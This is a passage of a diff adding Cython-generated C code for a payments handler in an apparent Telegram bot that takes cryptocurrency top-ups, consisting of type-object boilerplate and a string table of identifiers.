__pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount[8]; +static int __pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount[--__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_state); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount)))) { + __pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount[__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount++] = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount_spec = { + "handlers.payments.cryprobot_pay.__pyx_scope_struct_5_process_enter_custom_amount", + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.cryprobot_pay.""__pyx_scope_struct_5_process_enter_custom_amount", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input[8]; +static int __pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input[--__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_invoice); + Py_CLEAR(p->__pyx_v_message); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input)))) { + __pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input[__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input++] = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_invoice) { + e = (*v)(p->__pyx_v_invoice, a); if (e) return e; + } + if (p->__pyx_v_message) { + e = (*v)(p->__pyx_v_message, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input_spec = { + "handlers.payments.cryprobot_pay.__pyx_scope_struct_6_process_custom_amount_input", + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.cryprobot_pay.""__pyx_scope_struct_6_process_custom_amount_input", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +static PyMethodDef __pyx_methods[] = { + {0, 0, 0, 0} +}; +#ifndef CYTHON_SMALL_CODE +#if defined(__clang__) + #define CYTHON_SMALL_CODE +#elif defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 3)) + #define CYTHON_SMALL_CODE __attribute__((cold)) +#else + #define CYTHON_SMALL_CODE +#endif +#endif +/* #### Code section: pystring_table ### */ + +static int __Pyx_CreateStringTabAndInitStrings(void) { + __Pyx_StringTabEntry __pyx_string_tab[] = { + {&__pyx_n_s_AioCryptoPay, __pyx_k_AioCryptoPay, sizeof(__pyx_k_AioCryptoPay), 0, 0, 1, 1}, + {&__pyx_n_s_Any, __pyx_k_Any, sizeof(__pyx_k_Any), 0, 0, 1, 1}, + {&__pyx_n_u_CRYPTOSALE, __pyx_k_CRYPTOSALE, sizeof(__pyx_k_CRYPTOSALE), 0, 1, 0, 1}, + {&__pyx_n_s_CRYPTO_BOT_ENABLE, __pyx_k_CRYPTO_BOT_ENABLE, sizeof(__pyx_k_CRYPTO_BOT_ENABLE), 0, 0, 1, 1}, + {&__pyx_n_s_CRYPTO_BOT_TOKEN, __pyx_k_CRYPTO_BOT_TOKEN, sizeof(__pyx_k_CRYPTO_BOT_TOKEN), 0, 0, 1, 1}, + {&__pyx_kp_u_CRYPTO_HASH, __pyx_k_CRYPTO_HASH, sizeof(__pyx_k_CRYPTO_HASH), 0, 1, 0, 0}, + {&__pyx_kp_u_Crypto_Pay_Api_Signature, __pyx_k_Crypto_Pay_Api_Signature, sizeof(__pyx_k_Crypto_Pay_Api_Signature), 0, 1, 0, 0}, + {&__pyx_n_s_F, __pyx_k_F, sizeof(__pyx_k_F), 0, 0, 1, 1}, + {&__pyx_n_s_FSMContext, __pyx_k_FSMContext, sizeof(__pyx_k_FSMContext), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardBuilder, __pyx_k_InlineKeyboardBuilder, sizeof(__pyx_k_InlineKeyboardBuilder), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardButton, __pyx_k_InlineKeyboardButton, sizeof(__pyx_k_InlineKeyboardButton), 0, 0, 1, 1}, + {&__pyx_n_s_MAIN_NET, __pyx_k_MAIN_NET, sizeof(__pyx_k_MAIN_NET), 0, 0, 1, 1}, + {&__pyx_n_s_Networks, __pyx_k_Networks, sizeof(__pyx_k_Networks), 0, 0, 1, 1}, + {&__pyx_kp_u_No_value, __pyx_k_No_value, sizeof(__pyx_k_No_value), 0, 1, 0, 0}, + {&__pyx_n_s_PAYMENT_OPTIONS, __pyx_k_PAYMENT_OPTIONS, sizeof(__pyx_k_PAYMENT_OPTIONS), 0, 0, 1, 1}, + {&__pyx_n_s_PROJECTMANECONGIGURE, __pyx_k_PROJECTMANECONGIGURE, sizeof(__pyx_k_PROJECTMANECONGIGURE), 0, 0, 1, 1}, + {&__pyx_kp_u_Payment_succeeded_for_user_id, __pyx_k_Payment_succeeded_for_user_id, sizeof(__pyx_k_Payment_succeeded_for_user_id), 0, 1, 0, 0}, + {&__pyx_n_s_RUB_TO_USDT, __pyx_k_RUB_TO_USDT, sizeof(__pyx_k_RUB_TO_USDT), 0, 0, 1, 1}, + {&__pyx_n_s_ReplenishBalanceState, __pyx_k_ReplenishBalanceState, sizeof(__pyx_k_ReplenishBalanceState), 0, 0, 1, 1}, + {&__pyx_n_s_Response, __pyx_k_Response, sizeof(__pyx_k_Response), 0, 0, 1, 1}, + {&__pyx_n_s_Router, __pyx_k_Router, sizeof(__pyx_k_Router), 0, 0, 1, 1}, + {&__pyx_n_s_State, __pyx_k_State, sizeof(__pyx_k_State), 0, 0, 1, 1}, + {&__pyx_n_s_StatesGroup, __pyx_k_StatesGroup, sizeof(__pyx_k_StatesGroup), 0, 0, 1, 1}, + {&__pyx_n_u_USDT, __pyx_k_USDT, sizeof(__pyx_k_USDT), 0, 1, 0, 1}, + {&__pyx_n_s_ValueError, __pyx_k_ValueError, sizeof(__pyx_k_ValueError), 0, 0, 1, 1}, + {&__pyx_kp_u__10, __pyx_k__10, sizeof(__pyx_k__10), 0, 1, 0, 0}, + {&__pyx_kp_u__11, __pyx_k__11, sizeof(__pyx_k__11), 0, 1, 0, 0}, + {&__pyx_kp_u__12, __pyx_k__12, sizeof(__pyx_k__12), 0, 1, 0, 0}, + {&__pyx_n_u__13, __pyx_k__13, sizeof(__pyx_k__13), 0, 1, 0, 1}, + {&__pyx_kp_u__14, __pyx_k__14, sizeof(__pyx_k__14), 0, 1, 0, 0}, + {&__pyx_kp_u__15, __pyx_k__15, sizeof(__pyx_k__15), 0, 1, 0, 0}, + {&__pyx_kp_u__16, __pyx_k__16, sizeof(__pyx_k__16), 0, 1, 0, 0}, + {&__pyx_kp_u__17, __pyx_k__17, sizeof(__pyx_k__17), 0, 1, 0, 0}, + {&__pyx_kp_u__19, __pyx_k__19, sizeof(__pyx_k__19), 0, 1, 0, 0}, + {&__pyx_kp_u__2, __pyx_k__2, sizeof(__pyx_k__2), 0, 1, 0, 0}, + {&__pyx_kp_u__20, __pyx_k__20, sizeof(__pyx_k__20), 0, 1, 0, 0}, + {&__pyx_kp_u__21, __pyx_k__21, sizeof(__pyx_k__21), 0, 1, 0, 0}, + {&__pyx_kp_u__25, __pyx_k__25, sizeof(__pyx_k__25), 0, 1, 0, 0}, + {&__pyx_kp_u__27, __pyx_k__27, sizeof(__pyx_k__27), 0, 1, 0, 0}, + {&__pyx_kp_u__28, __pyx_k__28, sizeof(__pyx_k__28), 0, 1, 0, 0}, + {&__pyx_kp_u__3, __pyx_k__3, sizeof(__pyx_k__3), 0, 1, 0, 0}, + {&__pyx_kp_u__31, __pyx_k__31, sizeof(__pyx_k__31), 0, 1, 0, 0}, + {&__pyx_kp_u__32, __pyx_k__32, sizeof(__pyx_k__32), 0, 1, 0, 0}, + {&__pyx_kp_u__33, __pyx_k__33, sizeof(__pyx_k__33), 0, 1, 0, 0}, + {&__pyx_kp_u__34, __pyx_k__34, sizeof(__pyx_k__34), 0, 1, 0, 0}, + {&__pyx_n_s__43, __pyx_k__43, sizeof(__pyx_k__43), 0, 0, 1, 1}, + {&__pyx_kp_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 0}, + {&__pyx_kp_u__8, __pyx_k__8, sizeof(__pyx_k__8), 0, 1, 0, 0}, + {&__pyx_kp_u__9, __pyx_k__9, sizeof(__pyx_k__9), 0, 1, 0, 0}, + {&__pyx_n_s_add_connection, __pyx_k_add_connection, sizeof(__pyx_k_add_connection), 0, 0, 1, 1}, + {&__pyx_n_s_add_payment, __pyx_k_add_payment, sizeof(__pyx_k_add_payment), 0, 0, 1, 1}, + {&__pyx_n_s_aiocryptopay, __pyx_k_aiocryptopay, sizeof(__pyx_k_aiocryptopay), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram, __pyx_k_aiogram, sizeof(__pyx_k_aiogram), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_context, __pyx_k_aiogram_fsm_context, sizeof(__pyx_k_aiogram_fsm_context), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_state, __pyx_k_aiogram_fsm_state, sizeof(__pyx_k_aiogram_fsm_state), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_types, __pyx_k_aiogram_types, sizeof(__pyx_k_aiogram_types), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_utils_keyboard, __pyx_k_aiogram_utils_keyboard, sizeof(__pyx_k_aiogram_utils_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_aiohttp, __pyx_k_aiohttp, sizeof(__pyx_k_aiohttp), 0, 0, 1, 1}, + {&__pyx_n_s_amount, __pyx_k_amount, sizeof(__pyx_k_amount), 0, 0, 1, 1}, + {&__pyx_kp_u_amount_2, __pyx_k_amount_2, sizeof(__pyx_k_amount_2), 0, 1, 0, 0}, + {&__pyx_n_s_amount_str, __pyx_k_amount_str, sizeof(__pyx_k_amount_str), 0, 0, 1, 1}, + {&__pyx_n_s_answer, __pyx_k_answer, sizeof(__pyx_k_answer), 0, 0, 1, 1}, + {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1}, + {&__pyx_n_s_as_markup, __pyx_k_as_markup, sizeof(__pyx_k_as_markup), 0, 0, 1, 1}, + {&__pyx_n_s_asset, __pyx_k_asset, sizeof(__pyx_k_asset), 0, 0, 1, 1}, + {&__pyx_n_s_asyncio_coroutines, __pyx_k_asyncio_coroutines, sizeof(__pyx_k_asyncio_coroutines), 0, 0, 1, 1}, + {&__pyx_n_s_await, __pyx_k_await, sizeof(__pyx_k_await), 0, 0, 1, 1}, + {&__pyx_n_s_balance, __pyx_k_balance, sizeof(__pyx_k_balance), 0, 0, 1, 1}, + {&__pyx_n_s_body_text, __pyx_k_body_text, sizeof(__pyx_k_body_text), 0, 0, 1, 1}, + {&__pyx_n_s_bot_invoice_url, __pyx_k_bot_invoice_url, sizeof(__pyx_k_bot_invoice_url), 0, 0, 1, 1}, + {&__pyx_n_u_bot_invoice_url, __pyx_k_bot_invoice_url, sizeof(__pyx_k_bot_invoice_url), 0, 1, 0, 1}, + {&__pyx_n_s_builder, __pyx_k_builder, 